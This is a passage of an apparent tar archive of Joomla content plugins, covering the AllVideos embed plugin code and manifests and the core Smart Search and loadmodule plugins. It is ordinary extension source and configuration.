                            }
                        } else {
                            if (substr($tagsource, 0, 2) == "PL") {
                                $tagsource = 'videoseries?list='.$tagsource;
                            }
                        }

                        if (strpos($tagsource, '?') !== false) {
                            $tagsource = $tagsource.'&amp;rel=0&amp;fs=1&amp;wmode=transparent';
                        } else {
                            $tagsource = $tagsource.'?rel=0&amp;fs=1&amp;wmode=transparent';
                        }

                        // Autoplay
                        if ($provider_autoplay == 'true') {
                            $tagsource = $tagsource.'&amp;autoplay=1';
                        }

                        // Loop
                        if ($final_loop) {
                            $tagsource = $tagsource.'&amp;loop=1';
                        }

                        // Muted
                        if ($muted) {
                            $tagsource = $tagsource.'&amp;mute=1';
                        }
                    }

                    // Set a unique ID
                    $output->playerID = 'AVPlayerID_'.$key.'_'.md5($tagsource);

                    // Placeholder elements
                    $findAVparams = array(
                        "{SOURCE}",
                        "{SOURCEID}",
                        "{FOLDER}",
                        "{WIDTH}",
                        "{HEIGHT}",
                        "{PROVIDER_AUTOPLAY}",
                        "{PLAYER_LOOP}",
                        "{PLAYER_CONTROLS}",
                        "{PLAYER_AUTOPLAY}",
                        "{PLAYER_MUTED}",
                        "{SITEURL}",
                        "{SITEURL_ABS}",
                        "{FILE_EXT}",
                        "{FILE_TYPE}",
                        "{PLUGIN_PATH}",
                        "{PLAYER_POSTER_FRAME}"
                    );

                    // Replacement elements
                    $replaceAVparams = array(
                        $tagsource,
                        $output->playerID,
                        $output->folder,
                        $output->playerWidth,
                        $output->playerHeight,
                        $provider_autoplay,
                        $final_loop,
                        $output->controls,
                        $player_autoplay,
                        $muted,
                        $siteUrl,
                        substr(JUri::root(false), 0, -1),
                        $plg_tag,
                        str_replace("remote", "", $plg_tag),
                        $pluginLivePath,
                        $output->posterFrame
                    );

                    // Do the element replacement
                    $output->player = str_replace($findAVparams, $replaceAVparams, $tagReplace[$cloned_plg_tag]);

                    // Post processing for YouTube
                    if ($ytnocookie) {
                        $output->player = str_replace('www.youtube.com/embed', 'www.youtube-nocookie.com/embed', $output->player);
                    }

                    // Fetch the template
                    $getTemplatePath = $this->getTemplatePath($this->plg_name, 'default.php', $playerTemplate);
                    $getTemplatePath = $getTemplatePath->file;
                    ob_start();
                    include($getTemplatePath);
                    $getTemplate = $this->plg_copyrights_start.ob_get_contents().$this->plg_copyrights_end;
                    ob_end_clean();

                    // Output
                    $row->text = preg_replace("~{".$plg_tag."}".preg_quote($tagcontent)."{/".$plg_tag."}~is", $getTemplate, $row->text);
                } // End second foreach
            } // End if
        } // End first foreach
    }

    // Path overrides
    public function getTemplatePath($pluginName, $file, $tmpl)
    {
        $app = JFactory::getApplication();

        $p = new stdClass();

        if (file_exists(JPATH_SITE.'/'.'templates'.'/'.$app->getTemplate().'/html/'.$pluginName.'/'.$tmpl.'/'.$file)) {
            $p->file = JPATH_SITE.'/templates/'.$app->getTemplate().'/html/'.$pluginName.'/'.$tmpl.'/'.$file;
            $p->http = JUri::root(true)."/templates/".$app->getTemplate()."/html/{$pluginName}/{$tmpl}/{$file}";
        } else {
            if (version_compare(JVERSION, '2.5.0', 'ge')) {
                // Joomla 2.5 or newer
                $p->file = JPATH_SITE.'/plugins/content/'.$pluginName.'/'.$pluginName.'/tmpl/'.$tmpl.'/'.$file;
                $p->http = JUri::root(true)."/plugins/content/{$pluginName}/{$pluginName}/tmpl/{$tmpl}/{$file}";
            } else {
                // Joomla 1.5
                $p->file = JPATH_SITE.'/plugins/content/'.$pluginName.'/tmpl/'.$tmpl.'/'.$file;
                $p->http = JUri::root(true)."/plugins/content/{$pluginName}/tmpl/{$tmpl}/{$file}";
            }
        }
        return $p;
    }
}
                                                                                                                                                                                                   content/jw_allvideos/jw_allvideos.xml                                                               0000705                 00000015502 15242051520 0014101 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="content" method="upgrade">
    <name>AllVideos (by JoomlaWorks)</name>
    <author>JoomlaWorks</author>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>https://www.joomlaworks.net</authorUrl>
    <copyright>Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.</copyright>
    <creationDate>June 17th, 2025</creationDate>
    <license>https://www.gnu.org/copyleft/gpl.html</license>
    <version>7.0</version>
    <description>JW_PLG_AV_XML_DESC</description>
    <!-- Parameters -->
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/plugins/content/jw_allvideos/jw_allvideos/includes/elements">
                <field name="" type="header" default="JW_PLG_AV_VIDEO_PARAMETERS" label="" description="" />
                <field name="playerTemplate" type="template" directory="/plugins/content/jw_allvideos/jw_allvideos/tmpl" default="Responsive" hide_default="1" hide_none="1" label="JW_PLG_AV_TEMPLATE" description="JW_PLG_AV_TEMPLATE_DESC" />
                <field name="vfolder" type="text" default="images/videos" size="40" label="JW_PLG_AV_LOCAL_VIDEO_FOLDER" description="JW_PLG_AV_THIS_IS_THE_FOLDER_WHERE_YOU_STORE_ALL_THE_VIDEO_FILES_THAT_YOU_WANT_TO_STREAMPLAY_FROM_YOUR_WEBSITE_IT_IS_BETTER_IF_THIS_FOLDER_IS_INSIDE_THE_IMAGESSTORIES_FOLDER_SO_THAT_YOU_WONT_STUMBLE_INTO_ANY_PERMISSION_ISSUES_IN_THIS_LOCAL_VIDEO_FOLDER_YOU_CAN_THEN_UPLOAD_VIDEO_FILES_OF_THE_FOLLOWING_TYPE_FLV_SWF_MOV_MP4_WMV_DIVX" />
                <field name="vwidth" type="text" default="600" size="4" label="JW_PLG_AV_DEFAULT_WIDTH_IN_PX_FOR_VIDEOS" description="JW_PLG_AV_THE_PRESELECTED_WIDTH_OF_THE_VIDEO_IN_PIXELS_TO_SHOW_INSIDE_YOUR_CONTENT_IT_SHOULD_BE_SMALLER_THAN_THE_WIDTH_OF_THE_SURROUNDING_BOX_IF_ANY_IN_ORDER_NOT_TO_BREAK_YOUR_LAYOUT" />
                <field name="vheight" type="text" default="450" size="4" label="JW_PLG_AV_DEFAULT_HEIGHT_IN_PX_FOR_VIDEOS" description="JW_PLG_AV_THE_PRESELECTED_HEIGHT_OF_THE_VIDEO_IN_PIXELS_TO_SHOW_INSIDE_YOUR_CONTENT" />
                <field name="muted" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_MUTED" description="JW_PLG_AV_MUTED_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="allowVideoDownloading" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_ALLOW_VIDEO_DOWNLOADING" description="JW_PLG_AV_ALLOW_VIDEO_DOWNLOADING_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="" type="header" default="JW_PLG_AV_AUDIO_PARAMETERS" label="" description="" />
                <field name="afolder" type="text" default="images/audio" size="40" label="JW_PLG_AV_LOCAL_AUDIO_FOLDER" description="JW_PLG_AV_THIS_IS_THE_FOLDER_WHERE_YOU_STORE_ALL_THE_AUDIO_SOUND_FILES_THAT_YOU_WANT_TO_STREAMPLAY_FROM_YOUR_WEBSITE_IT_IS_BETTER_IF_THIS_FOLDER_IS_INSIDE_THE_IMAGESSTORIES_FOLDER_SO_THAT_YOU_WONT_STUMBLE_INTO_ANY_PERMISSION_ISSUES_IN_THIS_LOCAL_AUDIO_FOLDER_YOU_CAN_THEN_UPLOAD_MP3_AND_WMA_AUDIO_FILE_TYPES" />
                <field name="awidth" type="text" default="600" size="4" label="JW_PLG_AV_DEFAULT_WIDTH_IN_PX_FOR_AUDIO_PLAYER" description="JW_PLG_AV_THE_PRESELECTED_WIDTH_OF_THE_AUDIO_PLAYER_IN_PIXELS_TO_SHOW_INSIDE_YOUR_CONTENT_IT_SHOULD_BE_SMALLER_THAN_THE_WIDTH_OF_THE_SURROUNDING_BOX_IF_ANY_IN_ORDER_NOT_TO_BREAK_YOUR_LAYOUT" />
                <field name="aheight" type="text" default="60" size="4" label="JW_PLG_AV_DEFAULT_HEIGHT_IN_PX_FOR_AUDIO_PLAYER" description="JW_PLG_AV_THE_PRESELECTED_HEIGHT_OF_THE_AUDIO_PLAYER_IN_PIXELS_TO_SHOW_INSIDE_YOUR_CONTENT" />
                <field name="randomPosterForAudio" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_RANDOM_POSTER_FOR_AUDIO" description="JW_PLG_AV_RANDOM_POSTER_FOR_AUDIO_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="allowAudioDownloading" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_ALLOW_AUDIO_DOWNLOADING" description="JW_PLG_AV_ALLOW_AUDIO_DOWNLOADING_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="" type="header" default="JW_PLG_AV_GLOBAL_PARAMETERS" label="" description="" />
                <field name="maxwidth" type="text" default="" size="10" label="JW_PLG_AV_MAXWIDTH" description="JW_PLG_AV_MAXWIDTH_DESC" />
                <field name="controls" type="radio" class="btn-group btn-group-yesno" default="1" label="JW_PLG_AV_CONTROLS" description="">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="autoplay" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_AUTOPLAY" description="JW_PLG_AV_CONTROL_AUDIOVIDEO_AUTOPLAY_WHEN_THE_PAGE_LOADS">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="loop" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_LOOP" description="JW_PLG_AV_LOOP_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="ytnocookie" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_YT_NOCOOKIE" description="JW_PLG_AV_YT_NOCOOKIE_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
            </fieldset>
        </fields>
    </config>
    <!-- Files -->
    <files folder="plugin" destination="jw_allvideos">
        <filename plugin="jw_allvideos">jw_allvideos.php</filename>
        <filename plugin="jw_allvideos">jw_allvideos.xml</filename>
        <folder>jw_allvideos</folder>
    </files>
    <media folder="plugin/media" destination="jw_allvideos">
        <filename>AllVideos_300x119_24.png</filename>
    </media>
    <languages folder="plugin">
        <language tag="en-GB">language/en-GB/en-GB.plg_content_jw_allvideos.ini</language>
        <language tag="en-GB">language/en-GB/en-GB.plg_content_jw_allvideos.sys.ini</language>
    </languages>
    <updateservers>
        <server type="extension" priority="1" name="AllVideos">https://cdn.joomlaworks.org/updates/allvideos.xml</server>
    </updateservers>
</extension>
                                                                                                                                                                                              content/jw_allvideos/_jw_allvideos.xml                                                              0000705                 00000015502 15242051520 0014240 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="content" method="upgrade">
    <name>AllVideos (by JoomlaWorks)</name>
    <author>JoomlaWorks</author>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>https://www.joomlaworks.net</authorUrl>
    <copyright>Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.</copyright>
    <creationDate>June 17th, 2025</creationDate>
    <license>https://www.gnu.org/copyleft/gpl.html</license>
    <version>7.0</version>
    <description>JW_PLG_AV_XML_DESC</description>
    <!-- Parameters -->
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/plugins/content/jw_allvideos/jw_allvideos/includes/elements">
                <field name="" type="header" default="JW_PLG_AV_VIDEO_PARAMETERS" label="" description="" />
                <field name="playerTemplate" type="template" directory="/plugins/content/jw_allvideos/jw_allvideos/tmpl" default="Responsive" hide_default="1" hide_none="1" label="JW_PLG_AV_TEMPLATE" description="JW_PLG_AV_TEMPLATE_DESC" />
                <field name="vfolder" type="text" default="images/videos" size="40" label="JW_PLG_AV_LOCAL_VIDEO_FOLDER" description="JW_PLG_AV_THIS_IS_THE_FOLDER_WHERE_YOU_STORE_ALL_THE_VIDEO_FILES_THAT_YOU_WANT_TO_STREAMPLAY_FROM_YOUR_WEBSITE_IT_IS_BETTER_IF_THIS_FOLDER_IS_INSIDE_THE_IMAGESSTORIES_FOLDER_SO_THAT_YOU_WONT_STUMBLE_INTO_ANY_PERMISSION_ISSUES_IN_THIS_LOCAL_VIDEO_FOLDER_YOU_CAN_THEN_UPLOAD_VIDEO_FILES_OF_THE_FOLLOWING_TYPE_FLV_SWF_MOV_MP4_WMV_DIVX" />
                <field name="vwidth" type="text" default="600" size="4" label="JW_PLG_AV_DEFAULT_WIDTH_IN_PX_FOR_VIDEOS" description="JW_PLG_AV_THE_PRESELECTED_WIDTH_OF_THE_VIDEO_IN_PIXELS_TO_SHOW_INSIDE_YOUR_CONTENT_IT_SHOULD_BE_SMALLER_THAN_THE_WIDTH_OF_THE_SURROUNDING_BOX_IF_ANY_IN_ORDER_NOT_TO_BREAK_YOUR_LAYOUT" />
                <field name="vheight" type="text" default="450" size="4" label="JW_PLG_AV_DEFAULT_HEIGHT_IN_PX_FOR_VIDEOS" description="JW_PLG_AV_THE_PRESELECTED_HEIGHT_OF_THE_VIDEO_IN_PIXELS_TO_SHOW_INSIDE_YOUR_CONTENT" />
                <field name="muted" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_MUTED" description="JW_PLG_AV_MUTED_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="allowVideoDownloading" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_ALLOW_VIDEO_DOWNLOADING" description="JW_PLG_AV_ALLOW_VIDEO_DOWNLOADING_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="" type="header" default="JW_PLG_AV_AUDIO_PARAMETERS" label="" description="" />
                <field name="afolder" type="text" default="images/audio" size="40" label="JW_PLG_AV_LOCAL_AUDIO_FOLDER" description="JW_PLG_AV_THIS_IS_THE_FOLDER_WHERE_YOU_STORE_ALL_THE_AUDIO_SOUND_FILES_THAT_YOU_WANT_TO_STREAMPLAY_FROM_YOUR_WEBSITE_IT_IS_BETTER_IF_THIS_FOLDER_IS_INSIDE_THE_IMAGESSTORIES_FOLDER_SO_THAT_YOU_WONT_STUMBLE_INTO_ANY_PERMISSION_ISSUES_IN_THIS_LOCAL_AUDIO_FOLDER_YOU_CAN_THEN_UPLOAD_MP3_AND_WMA_AUDIO_FILE_TYPES" />
                <field name="awidth" type="text" default="600" size="4" label="JW_PLG_AV_DEFAULT_WIDTH_IN_PX_FOR_AUDIO_PLAYER" description="JW_PLG_AV_THE_PRESELECTED_WIDTH_OF_THE_AUDIO_PLAYER_IN_PIXELS_TO_SHOW_INSIDE_YOUR_CONTENT_IT_SHOULD_BE_SMALLER_THAN_THE_WIDTH_OF_THE_SURROUNDING_BOX_IF_ANY_IN_ORDER_NOT_TO_BREAK_YOUR_LAYOUT" />
                <field name="aheight" type="text" default="60" size="4" label="JW_PLG_AV_DEFAULT_HEIGHT_IN_PX_FOR_AUDIO_PLAYER" description="JW_PLG_AV_THE_PRESELECTED_HEIGHT_OF_THE_AUDIO_PLAYER_IN_PIXELS_TO_SHOW_INSIDE_YOUR_CONTENT" />
                <field name="randomPosterForAudio" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_RANDOM_POSTER_FOR_AUDIO" description="JW_PLG_AV_RANDOM_POSTER_FOR_AUDIO_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="allowAudioDownloading" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_ALLOW_AUDIO_DOWNLOADING" description="JW_PLG_AV_ALLOW_AUDIO_DOWNLOADING_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="" type="header" default="JW_PLG_AV_GLOBAL_PARAMETERS" label="" description="" />
                <field name="maxwidth" type="text" default="" size="10" label="JW_PLG_AV_MAXWIDTH" description="JW_PLG_AV_MAXWIDTH_DESC" />
                <field name="controls" type="radio" class="btn-group btn-group-yesno" default="1" label="JW_PLG_AV_CONTROLS" description="">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="autoplay" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_AUTOPLAY" description="JW_PLG_AV_CONTROL_AUDIOVIDEO_AUTOPLAY_WHEN_THE_PAGE_LOADS">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="loop" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_LOOP" description="JW_PLG_AV_LOOP_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
                <field name="ytnocookie" type="radio" class="btn-group btn-group-yesno" default="0" label="JW_PLG_AV_YT_NOCOOKIE" description="JW_PLG_AV_YT_NOCOOKIE_DESC">
                    <option value="0">JW_PLG_AV_NO</option>
                    <option value="1">JW_PLG_AV_YES</option>
                </field>
            </fieldset>
        </fields>
    </config>
    <!-- Files -->
    <files folder="plugin" destination="jw_allvideos">
        <filename plugin="jw_allvideos">jw_allvideos.php</filename>
        <filename plugin="jw_allvideos">jw_allvideos.xml</filename>
        <folder>jw_allvideos</folder>
    </files>
    <media folder="plugin/media" destination="jw_allvideos">
        <filename>AllVideos_300x119_24.png</filename>
    </media>
    <languages folder="plugin">
        <language tag="en-GB">language/en-GB/en-GB.plg_content_jw_allvideos.ini</language>
        <language tag="en-GB">language/en-GB/en-GB.plg_content_jw_allvideos.sys.ini</language>
    </languages>
    <updateservers>
        <server type="extension" priority="1" name="AllVideos">https://cdn.joomlaworks.org/updates/allvideos.xml</server>
    </updateservers>
</extension>
                                                                                                                                                                                              content/finder/finder.php                                                                           0000705                 00000007715 15242051520 0011451 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Smart Search Content Plugin
 *
 * @since  2.5
 */
class PlgContentFinder extends JPlugin
{
	/**
	 * Smart Search after save content method.
	 * Content is passed by reference, but after the save, so no changes will be saved.
	 * Method is called right after the content is saved.
	 *
	 * @param   string  $context  The context of the content passed to the plugin (added in 1.6)
	 * @param   object  $article  A JTableContent object
	 * @param   bool    $isNew    If the content has just been created
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderAfterSave event.
		$dispatcher->trigger('onFinderAfterSave', array($context, $article, $isNew));
	}

	/**
	 * Smart Search before save content method.
	 * Content is passed by reference. Method is called before the content is saved.
	 *
	 * @param   string  $context  The context of the content passed to the plugin (added in 1.6).
	 * @param   object  $article  A JTableContent object.
	 * @param   bool    $isNew    If the content is just about to be created.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentBeforeSave($context, $article, $isNew)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderBeforeSave event.
		$dispatcher->trigger('onFinderBeforeSave', array($context, $article, $isNew));
	}

	/**
	 * Smart Search after delete content method.
	 * Content is passed by reference, but after the deletion.
	 *
	 * @param   string  $context  The context of the content passed to the plugin (added in 1.6).
	 * @param   object  $article  A JTableContent object.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentAfterDelete($context, $article)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderAfterDelete event.
		$dispatcher->trigger('onFinderAfterDelete', array($context, $article));
	}

	/**
	 * Smart Search content state change method.
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderChangeState event.
		$dispatcher->trigger('onFinderChangeState', array($context, $pks, $value));
	}

	/**
	 * Smart Search change category state content method.
	 * Method is called when the state of the category to which the
	 * content item belongs is changed.
	 *
	 * @param   string   $extension  The extension whose category has been updated.
	 * @param   array    $pks        A list of primary key ids of the content that has changed state.
	 * @param   integer  $value      The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onCategoryChangeState($extension, $pks, $value)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderCategoryChangeState event.
		$dispatcher->trigger('onFinderCategoryChangeState', array($extension, $pks, $value));
	}
}
                                                   content/finder/finder.xml                                                                           0000705                 00000001506 15242051520 0011452 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_finder</name>
	<author>Joomla! Project</author>
	<creationDate>December 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_FINDER_XML_DESCRIPTION</description>

	<files>
		<filename plugin="finder">finder.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_finder.ini</language>
		<language tag="en-GB">en-GB.plg_content_finder.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
		</fields>
	</config>
</extension>
                                                                                                                                                                                          content/finder/index.html                                                                           0000705                 00000000037 15242051520 0011454 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/loadmodule/index.html                                                                       0000705                 00000000037 15242051520 0012332 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/loadmodule/loadmodule.php                                                                   0000705                 00000015306 15242051520 0013200 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.loadmodule
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin to enable loading modules into content (e.g. articles)
 * This uses the {loadmodule} syntax
 *
 * @since  1.5
 */
class PlgContentLoadmodule extends JPlugin
{
	protected static $modules = array();

	protected static $mods = array();

	/**
	 * Plugin that loads module positions within content
	 *
	 * @param   string   $context   The context of the content being passed to the plugin.
	 * @param   object   &$article  The article object.  Note $article->text is also available
	 * @param   mixed    &$params   The article params
	 * @param   integer  $page      The 'page' number
	 *
	 * @return  mixed   true if there is an error. Void otherwise.
	 *
	 * @since   1.6
	 */
	public function onContentPrepare($context, &$article, &$params, $page = 0)
	{
		// Don't run this plugin when the content is being indexed
		if ($context === 'com_finder.indexer')
		{
			return true;
		}

		// Simple performance check to determine whether bot should process further
		if (strpos($article->text, 'loadposition') === false && strpos($article->text, 'loadmodule') === false)
		{
			return true;
		}

		// Expression to search for (positions)
		$regex = '/{loadposition\s(.*?)}/i';
		$style = $this->params->def('style', 'none');

		// Expression to search for(modules)
		$regexmod = '/{loadmodule\s(.*?)}/i';
		$stylemod = $this->params->def('style', 'none');

		// Expression to search for(id)
		$regexmodid = '/{loadmoduleid\s([1-9][0-9]*)}/i';

		// Find all instances of plugin and put in $matches for loadposition
		// $matches[0] is full pattern match, $matches[1] is the position
		preg_match_all($regex, $article->text, $matches, PREG_SET_ORDER);

		// No matches, skip this
		if ($matches)
		{
			foreach ($matches as $match)
			{
				$matcheslist = explode(',', $match[1]);

				// We may not have a module style so fall back to the plugin default.
				if (!array_key_exists(1, $matcheslist))
				{
					$matcheslist[1] = $style;
				}

				$position = trim($matcheslist[0]);
				$style    = trim($matcheslist[1]);

				$output = $this->_load($position, $style);

				// We should replace only first occurrence in order to allow positions with the same name to regenerate their content:
				if (($start = strpos($article->text, $match[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start, strlen($match[0]));
				}

				$style = $this->params->def('style', 'none');
			}
		}

		// Find all instances of plugin and put in $matchesmod for loadmodule
		preg_match_all($regexmod, $article->text, $matchesmod, PREG_SET_ORDER);

		// If no matches, skip this
		if ($matchesmod)
		{
			foreach ($matchesmod as $matchmod)
			{
				$matchesmodlist = explode(',', $matchmod[1]);

				// We may not have a specific module so set to null
				if (!array_key_exists(1, $matchesmodlist))
				{
					$matchesmodlist[1] = null;
				}

				// We may not have a module style so fall back to the plugin default.
				if (!array_key_exists(2, $matchesmodlist))
				{
					$matchesmodlist[2] = $stylemod;
				}

				$module = trim($matchesmodlist[0]);
				$name   = htmlspecialchars_decode(trim($matchesmodlist[1]));
				$stylemod  = trim($matchesmodlist[2]);

				// $match[0] is full pattern match, $match[1] is the module,$match[2] is the title
				$output = $this->_loadmod($module, $name, $stylemod);

				// We should replace only first occurrence in order to allow positions with the same name to regenerate their content:
				if (($start = strpos($article->text, $matchmod[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start, strlen($matchmod[0]));
				}

				$stylemod = $this->params->def('style', 'none');
			}
		}

		// Find all instances of plugin and put in $matchesmodid for loadmoduleid
		preg_match_all($regexmodid, $article->text, $matchesmodid, PREG_SET_ORDER);

		// If no matches, skip this
		if ($matchesmodid)
		{
			foreach ($matchesmodid as $match)
			{
				$id     = trim($match[1]);
				$output = $this->_loadid($id);

				// We should replace only first occurrence in order to allow positions with the same name to regenerate their content:
				if (($start = strpos($article->text, $match[0])) !== false)
				{
					$article->text = substr_replace($article->text, $output, $start, strlen($match[0]));
				}

				$style = $this->params->def('style', 'none');
			}
		}
	}

	/**
	 * Loads and renders the module
	 *
	 * @param   string  $position  The position assigned to the module
	 * @param   string  $style     The style assigned to the module
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	protected function _load($position, $style = 'none')
	{
		self::$modules[$position] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$modules  = JModuleHelper::getModules($position);
		$params   = array('style' => $style);
		ob_start();

		foreach ($modules as $module)
		{
			echo $renderer->render($module, $params);
		}

		self::$modules[$position] = ob_get_clean();

		return self::$modules[$position];
	}

	/**
	 * This is always going to get the first instance of the module type unless
	 * there is a title.
	 *
	 * @param   string  $module  The module title
	 * @param   string  $title   The title of the module
	 * @param   string  $style   The style of the module
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	protected function _loadmod($module, $title, $style = 'none')
	{
		self::$mods[$module] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$mod      = JModuleHelper::getModule($module, $title);

		// If the module without the mod_ isn't found, try it with mod_.
		// This allows people to enter it either way in the content
		if (!isset($mod))
		{
			$name = 'mod_' . $module;
			$mod  = JModuleHelper::getModule($name, $title);
		}

		$params = array('style' => $style);
		ob_start();

		if ($mod->id)
		{
			echo $renderer->render($mod, $params);
		}

		self::$mods[$module] = ob_get_clean();

		return self::$mods[$module];
	}

	/**
	 * Loads and renders the module
	 *
	 * @param   string  $id  The id of the module
	 *
	 * @return  mixed
	 *
	 * @since   3.9.0
	 */
	protected function _loadid($id)
	{
		self::$modules[$id] = '';
		$document = JFactory::getDocument();
		$renderer = $document->loadRenderer('module');
		$modules  = JModuleHelper::getModuleById($id);
		$params   = array('style' => 'none');
		ob_start();

		if ($modules->id > 0)
		{
			echo $renderer->render($modules, $params);
		}

		self::$modules[$id] = ob_get_clean();

		return self::$modules[$id];
	}
}
                                                                                                                                                                                                                                                                                                                          content/loadmodule/loadmodule.xml                                                                   0000705                 00000002631 15242051520 0013206 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_loadmodule</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LOADMODULE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="loadmodule">loadmodule.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_loadmodule.ini</language>
		<language tag="en-GB">en-GB.plg_content_loadmodule.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="style"
					type="list"
